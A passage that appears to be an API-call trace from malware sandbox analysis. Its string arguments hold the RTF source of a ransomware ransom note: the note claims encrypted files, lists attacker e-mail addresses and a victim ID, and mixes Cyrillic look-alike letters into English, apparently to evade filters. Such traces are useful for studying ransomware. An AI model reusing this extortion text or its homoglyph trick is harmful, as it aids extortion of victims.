-m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 